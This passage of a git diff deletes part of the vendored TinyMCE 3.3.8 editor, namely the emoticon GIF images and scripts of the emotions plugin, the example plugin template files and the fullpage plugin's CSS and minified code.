a/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-frown.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-frown.gif deleted file mode 100644 index 716f55e161bfebb1c3d34f0b0f40c177fc82c30b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 340 zcmV-a0jvH;Nk%w1VG;lm0MroxK_>;q#>Sw62=mns-On=0wransPVevT^YK{Dy(0YY zH)vE6x0?;Wqb>gZas1^OT0si>`ugD5y87}*#H$s=yq(wA*8cf7{`y+(+9J7|9QfT7 z`ROHiU=Y&6FaQ7mA^8LW0018VEC2ui01^Na000Hi;3tYvX_jM3N`@u~nju9hSuh^r zIEcp-wA7(NL0~2d#RP+(G!CPPA>o*KJjv_CkucCA5=K?AfF#RG2V*8BU@jL304|4P z2;PGRF@bj$et;Jf2pR_mVsIA<85|n}kQ*Bq42Ovqj*yy>6P0=h3X&9Z01y<C4-<w5 z1_YrDr5zn|3>yk~2N4w%7#RW^55W%`0vQ+-6(y_*2pqz~90*;x9}yM}%$UI(7t#$D mK_3Se1{4HKM+6iG7EmeH6$V631{L5n)#CyC0qx-*Apkoyg?w!Q diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-innocent.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-innocent.gif deleted file mode 100644 index 334d49e0e60f2997c9ba24071764f95d9e08a5cc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 336 zcmV-W0k8f?Nk%w1VG;lm0MrryI4TI-%dP0m5~*<p%dw5l&RW5fRqyTWvyTq>+Y`T~ z7Rth){q{I_X%*S48uRZ|(b3V&wIKTX`u+WJzo<^$#wuY;3W|Cf{O29IkTAcaE&lpe z+P*^H)-tknA^-pYA^8LW0018VEC2ui01^Na000He;3tYwX_n)75QgVvNQ`6#5gcMm zEEG~blgXokptKAJgCU?%JT?yo<M~i%4gt?6Fz6~Am9UtD7-RyH0HP3SJKk^yXMmPa zIvd6X(CBm;d>s!R6cPtcQWh2siHlNI2L}ifQhgX02^InZ2?-ktkqVRyZJY^Trk|lv zovp437?1~d46O)?2(1i+2NDYk8<+_Kil!K!3njA^!I#dL8x<729}*B65mC=m5gHH@ iDi9P3f*VjB3KS4HDb_qqRul{0DI<mu`1#Z$Apkp|ihYg% diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-kiss.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-kiss.gif deleted file mode 100644 index 4efd549ed31c44b1faac17ed34bb67abeb42baf8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 338 zcmV-Y0j>T=Nk%w1VG;lm0Mrx!QauaC#>Vb6G=_5=^YB^9wrc376Sb5I-qJGf@9vZ# z5WlKU(!eVB+7tfnDXp0zyB`?BZ5IChalob*`uh6d*t+@dKGHcU+L|83yq*5~IoH?L zy`?Gp<{bX|SpWb4A^8LW0018VEC2ui01^Na000Hg;3tYyX_jM3R?Bl7&r(q;SsVx< zNd$5fv{ZsKA$SlL3&KN~a1tZRf*~1Ltk<iAv7k{Z2Z`pvc_hgXjpQ(sE;$1LK%<cl zILB_HNUzT|aeYk*31NL24jm1Pj2;JshKLOYi<FIzdjt-Z3NH$l9TpRW3rGzS3J|Ig z3K0!T3keh%6CNEM5fB0b7ZJA}6B#85Qy!Zb7Z(@}4jx>x9~2uL3<QX`4jKdu92-F& k2^$L&NFE+a6AK$qDbg7WL{1AC-ZjzT0r>&z-yb0WJDRY082|tP diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-laughing.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-laughing.gif deleted file mode 100644 index 1606c119e75678c4031f384e0d50849906e8f533..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 344 zcmV-e0jK^)Nk%w1VG;lm0MruzQauf>s;1-69HWK?p_PpF=Pd8<?!T%|a$ZRD@LAHn zAH%B}$j8NMQxe3yo%Yxe`tnEM*t)ly6Z-o4{{3<N_BV)iTG-Xox}Pq}wrbweGI?VY z)x$BurZWEfS^xk5A^8LW0018VEC2ui01^Na000Hm;3tYxX_jM3Mu#*E(h*H6nMqti zQ3)qyw3Gp}NO&Mfh$peY7)FzWf&$@iDite)qBzhd5ec=@0AS0Ntz;I}c(4F-C64uI zyaq`Eg55Owe`yI426+@%6$Oe90s;?@9)yMk9FC8d4+{bil6ngW7NMe{2pF7&2O4Aq z3;`Dx0Sp9xcLoy<3myUu7Yro~7Yzy?3l1d)Qo0)iud@OkUA7++7aa--6$={!3l#|p q9T!0#1{Vhl8cIhR3kMfZDbx-J9SaK`2M*#j)8!2Rz@&``0RTG|A$nB+ diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-money-mouth.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-money-mouth.gif deleted file mode 100644 index ca2451e102722e12e131ae53ea76989acbf191e2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 321 zcmV-H0lxl6Nk%w1VG;lm0Mrx!DHsO6wwjoX9Kxs~!mLsE+7oVAHu>~Ygtcnp*fHAL z**;z>w3iC}`fmL6IkKB1N;3zEa}&zKpsu1;_V)HocR5-{J~BcYvE`YXhBnc@CfU=! za(E<?eig#P!T<mOA^8LW0018VEC2ui01^Na000HP;3tYyX_jM3Zp6bd53x}yNif>c zG>66zv=rqr;2j)}gKqE$ekcSD?}0=<bQ<7u!)Q1n00<H+ZZKxh#32EQBphsaG65Va zkpjTmkyjs@6kSLVZ3P8{5rzj0C4zW{h8>WLB?AWp85)qAL<a*U1aAfwq@|<=aCH)v z4*(Si6|WTl0-h2j3Q-&j3$U*X6&G0wG!zO07rYn<2p9_&0t3V&#uK|3*v<n4(?SXX Tyx|K0-72^q=pMvQA0YrcF~)Li diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-sealed.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-sealed.gif deleted file mode 100644 index b33d3cca1e7b8e62dc689880074d5c61f619520d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 325 zcmV-L0lNN2Nk%w1VG;lm0MruzQaua4xS#gj6sL~~h=_>d+P=4)6X4oXy{bw2>K^d$ z@6ERvva+(4ib~41YUkTEn1&#?rzrOHT>1I=Y*h`+%*@WtPUPg|!@EEI_d5LgZ>^Og z-qyCjsu$J9F8}}lA^8LW0018VEC2ui01^Na000HT;3tYxX_jM37RWXX8&XUv=@{Oj zX@_Sxw3H&!kzgQ?2LvPOL=>Y5VxieY9+_+eqFEql6OKWXd3Ze8Ggf2Zln@U|mI9d9 zGm^(wVUTA5cYs-V1`2#+a})^z6chrF5`~8k5e6@pmkW`GeGw<069yTQaGnH)s0suV zR|pCd0ZtRCsjM9VB^L+~7X%f*zyuc%2p3=#ycf#L%McYo9|{Z&5D^#_78qL%3{WW( X7Xb)FP6z?UH6ODVz!ev-DIowmgll^P diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-smile.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-smile.gif deleted file mode 100644 index e6a9e60d5ddd1243fbbf2197b4dc6cd9c1b58b93..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 345 zcmV-f0jB;(Nk%w1VG;lm0MrlwCJF+^#>SR<4C>Dj%C>6W(lWoQPVevT^YB^Fy&h6M z4YZgH{O~qtR1(Ci8T;lQ`uh6d*t-7xar*K{#Jrulo-Wtd*44u?{`oh#n;gQXGXDEo z_}UVAU=FH^0ssI2A^8LW0018VEC2ui01^Na000Hn;3tYuX_jM3Mn>j&nGr!MNh}v4 zNyxPjwA7*EKx`%q#$<zVR1PDEAt9MuF3Iaek}%L9kwul!P$bJr$zmogY%myw0xpMd z3f@BoF@bj)et;Mg2pI<lVsID?4-Xsz100eY3x|n}l9`f`6P0=h3<DmTk{$yO6NU!{ z1q>Vl9SM>N9ReH-cn1&^4jYXf0KotqjT;UWC94U(4-NtX4#i!%9}pHA2?&dg3>XLr r8Wuqx2Nnhn1xrT-4h9xbDb^GQ8V(K`1{C5o)#U;I0p5-K5CQ-@9%y<Y diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-surprised.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-surprised.gif deleted file mode 100644 index cb99cdd9136fa30462a9f57aa6a0adeb7e4124e7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 342 zcmV-c0jd5+Nk%w1VG;lm0MrlwC=3F|#>SnDDC*4*{OcpiwransPVevTQacIr@mkQp zCf(06s)_=>r7UYx48o@u`uh6d*t-7rH~ji<`P&oj;5Wp)o!8ga`SV6TA_BIW5#ZWV z{`*+_<Ql}dL;wH)A^8LW0018VEC2ui01^Na000Hk;3tYuX_jM3Mux^Pnh`-NS!l~P zP1~XswA7*TNO%O5iolb2G!7$(K`{|DDiTShA($u(G)P1<!BiHCEV_c3XlBv{C+k4a z?Gnxce9$B?SqON7Sr`c#2YnM+5)KXo9gY-}9Egfp1Ou9zlN1=1MG~D4000`D9T*RZ z1`DE-2&D*}5_<;_77rYd9T}wn9UTN54;Cc{Q@fF}!W>_>9}pJ}3JDSl85wB_3Jn)Q o9|so(4+|I^92g4^1{Y8%(iR3pP6ig=HPPY$`~mLZA3^{CJDB=?L;wH) diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-tongue-out.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-tongue-out.gif deleted file mode 100644 index 2075dc16058f1f17912167675ce5cfb9986fc71d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 328 zcmV-O0k{4~Nk%w1VG;lm0Mrx!CJF+^#>SU@3-{U*rx+Q^wrc$ABfqLn@9*x?z8(4X zSW-O=@){bmmI~g|GQXoP);c<FSP}d3M*jVA`uh6d*t))=8CnMdwl62dyq*2^H`mwJ z)x$CM;3E1`Q~&?~A^8LW0018VEC2ui01^Na000HW;3tYyX_jM3R)^Iz)=^O^Su~t7 zO$yf(v=riDQ79xxiP7>vj3|f1M8e@{G*!tYaiCEujj1NGxRN#6#tiCETo+{x{Hkzt z5k-kPvcD=V2nb<UR~-feh=~dffrA={iID>mjCgL6k{uF&2nP-t0s;w<385Nx2oxDb z9T5Pp7qJl?3Kkh9oe2sCr5F$p7zPSlsUH*@54w*83=9Or4;w)r2pcU95(FL|1Th;< aDaRQH4;Tal7#Y$v#?=Au0pHUfApkpvZg^t= diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-undecided.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-undecided.gif deleted file mode 100644 index bef7e257303f8243c89787e7a7f9955dd1f112e2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 337 zcmV-X0j~Z>Nk%w1VG;lm0MroxDi#99#>R?y8~4}{%C>6#>?OadPVevTr-=vi@LATn z4rERY-qJF+n+?CCE&B3D{{3<K`ugD5x<W4p!>Shh?>WT0o%`b%*Voqm`dL;(4F35y zc485^n;g!+Bme*aA^8LW0018VEC2ui01^Na000Hf;3tYvX_jM3N=AnuogqakNi<9X zK?&0kwA8^tNn{?C$|IAYI1ZzT!2>}iuMddFK#NEkRl!7%6brJAnUs;)XcnA}TNBSP zxQ9;SvEfwYeSaGd2^|LqU~(QF1qBxr3Ii7x84ZVt8wCTKoSYAqc?p`G2onnpk`IOl z1`HLGj}riN2p1K12N4z&8IBDc6tEWs859;JtRB6>lf+xO9}yT19toMv8wnl`7(pKg j7zPv!OGgY81{hE&(iR3pP6ig;HPPS!_yOwPA0Yrc)=Yf3 diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-wink.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-wink.gif deleted file mode 100644 index 9faf1aff8f4b28e02f4f414975fe1859c43b6b54..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 351 zcmV-l0igazNk%w1VG;lm0MrryC=CL}#>Sn03F^-g-qAA3wransPV?|t@9*x%vmQ`7 z4E*pcw3rOOq%3t@4*K#({N^40{c-yG`rz2Q!KfI-yq*61HrBop*VoqW<}&{JS@_x# zwwfH#!YTdnIsgCwA^8LW0018VEC2ui01^Na000Ht;3tYwX_jM3P6j6koH0o%Sun&A zMF+tYv=pL2IcOdp&qH&dG!P?+ArV0)J)O=Yk}%LD6Go&#@MJn3he8=)%%lWOM*#pN zEDD9iq9J$@90v~;83`GC4i0+{2OJ0pVtacF5E}yn8<`pmkCBv_pqZEtoPY-l0}P>= z3<D4kjtB;28v+g&nHLTM8y<cL5)~905D*S^bq>WE6cr`19U7DgF9{F}at6R35*Q5~ x2OgBy9tRx_7(pKh7zPvsOGgA01{hE&-4zBzP6id}HMp@0Krnzkbss_i06S`>cdh^c diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-yell.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/img/smiley-yell.gif deleted file mode 100644 index 648e6e879123fe49beebbc1f3635141864a79a9c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 336 zcmV-W0k8f?Nk%w1VG;lm0MrryG8O{K#>IbS7WCB_mWF$+hzY-{PWkp(?(Xf;zbH~P z3jOdj?W+^YwrakfE8fyG&5jTBz!3WS`fgM_;MltQ+c}4GO8)(E`S3`@yq&d~5!ct& z)v79NObo)O7XSbNA^8LW0018VEC2ui01^Na000He;3tYwX_jM3QifI(nn6h_*=Wyk zUB{y}v=qYOIUF#R3dZPhAVv~H;(|<CF_(maCZTAu39B_R)y$%~g`mSpayo)VZ;Q|z z7ZnA-;Q%Nq3riXZbr%Z>a2yN_5FH&J0|$eJ3kw4gj1Y?v5d#>LMV12^6BYy$1)ZKA zga!|m2?POz0R)f>4+aPl8KD{gz`+G_9vLMFQU?RU!8uyH9}*i52|cC+7S0YEK_3Vk i1|APfM-Ltb8&4_H83sg61{vHn(cc000qNZzApkp<uzFPh diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/js/emotions.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/js/emotions.js deleted file mode 100644 index c549367..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/js/emotions.js +++ /dev/null @@ -1,22 +0,0 @@ -tinyMCEPopup.requireLangPack(); - -var EmotionsDialog = { - init : function(ed) { - tinyMCEPopup.resizeToInnerSize(); - }, - - insert : function(file, title) { - var ed = tinyMCEPopup.editor, dom = ed.dom; - - tinyMCEPopup.execCommand('mceInsertContent', false, dom.createHTML('img', { - src : tinyMCEPopup.getWindowArg('plugin_url') + '/img/' + file, - alt : ed.getLang(title), - title : ed.getLang(title), - border : 0 - })); - - tinyMCEPopup.close(); - } -}; - -tinyMCEPopup.onInit.add(EmotionsDialog.init, EmotionsDialog); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/langs/en_dlg.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/langs/en_dlg.js deleted file mode 100644 index 3b57ad9..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/emotions/langs/en_dlg.js +++ /dev/null @@ -1,20 +0,0 @@ -tinyMCE.addI18n('en.emotions_dlg',{ -title:"Insert emotion", -desc:"Emotions", -cool:"Cool", -cry:"Cry", -embarassed:"Embarassed", -foot_in_mouth:"Foot in mouth", -frown:"Frown", -innocent:"Innocent", -kiss:"Kiss", -laughing:"Laughing", -money_mouth:"Money mouth", -sealed:"Sealed", -smile:"Smile", -surprised:"Surprised", -tongue_out:"Tongue out", -undecided:"Undecided", -wink:"Wink", -yell:"Yell" -}); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/example/dialog.htm b/tinymce-3.3.8/jscripts/tiny_mce/plugins/example/dialog.htm deleted file mode 100644 index 50b2b34..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/example/dialog.htm +++ /dev/null @@ -1,22 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#example_dlg.title}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="js/dialog.js"></script> -</head> -<body> - -<form onsubmit="ExampleDialog.insert();return false;" action="#"> - <p>Here is a example dialog.</p> - <p>Selected text: <input id="someval" name="someval" type="text" class="text" /></p> - <p>Custom arg: <input id="somearg" name="somearg" type="text" class="text" /></p> - - <div class="mceActionPanel"> - <input type="button" id="insert" name="insert" value="{#insert}" onclick="ExampleDialog.insert();" /> - <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> - </div> -</form> - -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/example/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/example/editor_plugin.js deleted file mode 100644 index ec1f81e..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/example/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){tinymce.PluginManager.requireLangPack("example");tinymce.create("tinymce.plugins.ExamplePlugin",{init:function(a,b){a.addCommand("mceExample",function(){a.windowManager.open({file:b+"/dialog.htm",width:320+parseInt(a.getLang("example.delta_width",0)),height:120+parseInt(a.getLang("example.delta_height",0)),inline:1},{plugin_url:b,some_custom_arg:"custom arg"})});a.addButton("example",{title:"example.desc",cmd:"mceExample",image:b+"/img/example.gif"});a.onNodeChange.add(function(d,c,e){c.setActive("example",e.nodeName=="IMG")})},createControl:function(b,a){return null},getInfo:function(){return{longname:"Example plugin",author:"Some author",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/example",version:"1.0"}}});tinymce.PluginManager.add("example",tinymce.plugins.ExamplePlugin)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/example/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/example/editor_plugin_src.js deleted file mode 100644 index 9a0e7da..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/example/editor_plugin_src.js +++ /dev/null @@ -1,84 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - // Load plugin specific language pack - tinymce.PluginManager.requireLangPack('example'); - - tinymce.create('tinymce.plugins.ExamplePlugin', { - /** - * Initializes the plugin, this will be executed after the plugin has been created. - * This call is done before the editor instance has finished it's initialization so use the onInit event - * of the editor instance to intercept that event. - * - * @param {tinymce.Editor} ed Editor instance that the plugin is initialized in. - * @param {string} url Absolute URL to where the plugin is located. - */ - init : function(ed, url) { - // Register the command so that it can be invoked by using tinyMCE.activeEditor.execCommand('mceExample'); - ed.addCommand('mceExample', function() { - ed.windowManager.open({ - file : url + '/dialog.htm', - width : 320 + parseInt(ed.getLang('example.delta_width', 0)), - height : 120 + parseInt(ed.getLang('example.delta_height', 0)), - inline : 1 - }, { - plugin_url : url, // Plugin absolute URL - some_custom_arg : 'custom arg' // Custom argument - }); - }); - - // Register example button - ed.addButton('example', { - title : 'example.desc', - cmd : 'mceExample', - image : url + '/img/example.gif' - }); - - // Add a node change handler, selects the button in the UI when a image is selected - ed.onNodeChange.add(function(ed, cm, n) { - cm.setActive('example', n.nodeName == 'IMG'); - }); - }, - - /** - * Creates control instances based in the incomming name. This method is normally not - * needed since the addButton method of the tinymce.Editor class is a more easy way of adding buttons - * but you sometimes need to create more complex controls like listboxes, split buttons etc then this - * method can be used to create those. - * - * @param {String} n Name of the control to create. - * @param {tinymce.ControlManager} cm Control manager to use inorder to create new control. - * @return {tinymce.ui.Control} New control instance or null if no control was created. - */ - createControl : function(n, cm) { - return null; - }, - - /** - * Returns information about the plugin as a name/value array. - * The current keys are longname, author, authorurl, infourl and version. - * - * @return {Object} Name/value array containing information about the plugin. - */ - getInfo : function() { - return { - longname : 'Example plugin', - author : 'Some author', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/example', - version : "1.0" - }; - } - }); - - // Register plugin - tinymce.PluginManager.add('example', tinymce.plugins.ExamplePlugin); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/example/img/example.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/example/img/example.gif deleted file mode 100644 index 1ab5da4461113d2af579898528246fdbe52ecd00..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 87 zcmZ?wbhEHb6k!lyn83&Y1dNP~ia%L^OhyJB5FaGNz@*pGzw+SQ`#f{}FJ-?!v#V)e mtsGNfpJeCKSAiOz**>0`XR2{OVa>-G_df0vaY<rium%9X5FI1{ diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/example/js/dialog.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/example/js/dialog.js deleted file mode 100644 index fa83411..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/example/js/dialog.js +++ /dev/null @@ -1,19 +0,0 @@ -tinyMCEPopup.requireLangPack(); - -var ExampleDialog = { - init : function() { - var f = document.forms[0]; - - // Get the selected contents as text and place it in the input - f.someval.value = tinyMCEPopup.editor.selection.getContent({format : 'text'}); - f.somearg.value = tinyMCEPopup.getWindowArg('some_custom_arg'); - }, - - insert : function() { - // Insert the contents from the input into the document - tinyMCEPopup.editor.execCommand('mceInsertContent', false, document.forms[0].someval.value); - tinyMCEPopup.close(); - } -}; - -tinyMCEPopup.onInit.add(ExampleDialog.init, ExampleDialog); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/example/langs/en.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/example/langs/en.js deleted file mode 100644 index e0784f8..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/example/langs/en.js +++ /dev/null @@ -1,3 +0,0 @@ -tinyMCE.addI18n('en.example',{ - desc : 'This is just a template button' -}); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/example/langs/en_dlg.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/example/langs/en_dlg.js deleted file mode 100644 index ebcf948..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/example/langs/en_dlg.js +++ /dev/null @@ -1,3 +0,0 @@ -tinyMCE.addI18n('en.example_dlg',{ - title : 'This is just a example title' -}); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullpage/css/fullpage.css b/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullpage/css/fullpage.css deleted file mode 100644 index 7a3334f..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullpage/css/fullpage.css +++ /dev/null @@ -1,182 +0,0 @@ -/* Hide the advanced tab */ -#advanced_tab { - display: none; -} - -#metatitle, #metakeywords, #metadescription, #metaauthor, #metacopyright { - width: 280px; -} - -#doctype, #docencoding { - width: 200px; -} - -#langcode { - width: 30px; -} - -#bgimage { - width: 220px; -} - -#fontface { - width: 240px; -} - -#leftmargin, #rightmargin, #topmargin, #bottommargin { - width: 50px; -} - -.panel_wrapper div.current { - height: 400px; -} - -#stylesheet, #style { - width: 240px; -} - -/* Head list classes */ - -.headlistwrapper { - width: 100%; -} - -.addbutton, .removebutton, .moveupbutton, .movedownbutton { - border-top: 1px solid; - border-left: 1px solid; - border-bottom: 1px solid; - border-right: 1px solid; - border-color: #F0F0EE; - cursor: default; - display: block; - width: 20px; - height: 20px; -} - -#doctypes { - width: 200px; -} - -.addbutton:hover, .removebutton:hover, .moveupbutton:hover, .movedownbutton:hover { - border: 1px solid #0A246A; - background-color: #B6BDD2; -} - -.addbutton { - background-image: url('../images/add.gif'); - float: left; - margin-right: 3px; -} - -.removebutton { - background-image: url('../images/remove.gif'); - float: left; -} - -.moveupbutton { - background-image: url('../images/move_up.gif'); - float: left; - margin-right: 3px; -} - -.movedownbutton { - background-image: url('../images/move_down.gif'); - float: left; -} - -.selected { - border: 1px solid #0A246A; - background-color: #B6BDD2; -} - -.toolbar { - width: 100%; -} - -#headlist { - width: 100%; - margin-top: 3px; - font-size: 11px; -} - -#info, #title_element, #meta_element, #script_element, #style_element, #base_element, #link_element, #comment_element, #unknown_element { - display: none; -} - -#addmenu { - position: absolute; - border: 1px solid gray; - display: none; - z-index: 100; - background-color: white; -} - -#addmenu a { - display: block; - width: 100%; - line-height: 20px; - text-decoration: none; - background-color: white; -} - -#addmenu a:hover { - background-color: #B6BDD2; - color: black; -} - -#addmenu span { - padding-left: 10px; - padding-right: 10px; -} - -#updateElementPanel { - display: none; -} - -#script_element .panel_wrapper div.current { - height: 108px; -} - -#style_element .panel_wrapper div.current { - height: 108px; -} - -#link_element .panel_wrapper div.current { - height: 140px; -} - -#element_script_value { - width: 100%; - height: 100px; -} - -#element_comment_value { - width: 100%; - height: 120px; -} - -#element_style_value { - width: 100%; - height: 100px; -} - -#element_title, #element_script_src, #element_meta_name, #element_meta_content, #element_base_href, #element_link_href, #element_link_title { - width: 250px; -} - -.updateElementButton { - margin-top: 3px; -} - -/* MSIE specific styles */ - -* html .addbutton, * html .removebutton, * html .moveupbutton, * html .movedownbutton { - width: 22px; - height: 22px; -} - -textarea { - height: 55px; -} - -.panel_wrapper div.current {height:420px;} \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullpage/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullpage/editor_plugin.js deleted file mode 100644 index aeaa669..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullpage/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){tinymce.create("tinymce.plugins.FullPagePlugin",{init:function(a,b){var c=this;c.editor=a;a.addCommand("mceFullPageProperties",function(){a.windowManager.open({file:b+"/fullpage.htm",width:430+parseInt(a.getLang("fullpage.delta_width",0)),height:495+parseInt(a.getLang("fullpage.delta_height",0)),inline:1},{plugin_url:b,head_html:c.head})});a.addButton("fullpage",{title:"fullpage.desc",cmd:"mceFullPageProperties"});a.onBeforeSetContent.add(c._setContent,c);a.onSetContent.add(c._setBodyAttribs,c);a.onGetContent.add(c._getContent,c)},getInfo:function(){return{longname:"Fullpage",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/fullpage",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_setBodyAttribs:function(d,a){var l,c,e,g,b,h,j,f=this.head.match(/body(.*?)>/i);if(f&&f[1]){l=f[1].match(/\s*(\w+\s*=\s*".*?"|\w+\s*=\s*'.*?'|\w+\s*=\s*\w+|\w+)\s*/g);if(l){for(c=0,e=l.length;c<e;c++){g=l[c].split("=");b=g[0].replace(/\s/,"");h=g[1];if(h){h=h.replace(/^\s+/,"").replace(/\s+$/,"");j=h.match(/^["'](.*)["']$/);if(j){h=j[1]}}else{h=b}d.dom.setAttrib(d.getBody(),"style",h)}}}},_createSerializer:function(){return new tinymce.dom.Serializer({dom:this.editor.dom,apply_source_formatting:true})},_setContent:function(d,b){var h=this,a,j,f=b.content,g,i="";if(b.format=="raw"&&h.head){return}if(b.source_view&&d.getParam("fullpage_hide_in_source_view")){return}f=f.replace(/<(\/?)BODY/gi,"<$1body");a=f.indexOf("<body");if(a!=-1){a=f.indexOf(">",a);h.head=f.substring(0,a+1);j=f.indexOf("</body",a);if(j==-1){j=f.indexOf("</body",j)}b.content=f.substring(a+1,j);h.foot=f.substring(j);function e(c){return c.replace(/<\/?[A-Z]+/g,function(k){return k.toLowerCase()})}h.head=e(h.head);h.foot=e(h.foot)}else{h.head="";if(d.getParam("fullpage_default_xml_pi")){h.head+='<?xml version="1.0" encoding="'+d.getParam("fullpage_default_encoding","ISO-8859-1")+'" ?>\n'}h.head+=d.getParam("fullpage_default_doctype",'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">');h.head+="\n<html>\n<head>\n<title>"+d.getParam("fullpage_default_title","Untitled document")+"</title>\n";if(g=d.getParam("fullpage_default_encoding")){h.head+='<meta http-equiv="Content-Type" content="'+g+'" />\n'}if(g=d.getParam("fullpage_default_font_family")){i+="font-family: "+g+";"}if(g=d.getParam("fullpage_default_font_size")){i+="font-size: "+g+";"}if(g=d.getParam("fullpage_default_text_color")){i+="color: "+g+";"}h.head+="</head>\n<body"+(i?' style="'+i+'"':"")+">\n";h.foot="\n</body>\n</html>"}},_getContent:function(a,c){var b=this;if(!c.source_view||!a.getParam("fullpage_hide_in_source_view")){c.content=tinymce.trim(b.head)+"\n"+tinymce.trim(c.content)+"\n"+tinymce.trim(b.foot)}}});tinymce.PluginManager.add("fullpage",tinymce.plugins.FullPagePlugin)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullpage/editor_plugin_src.js 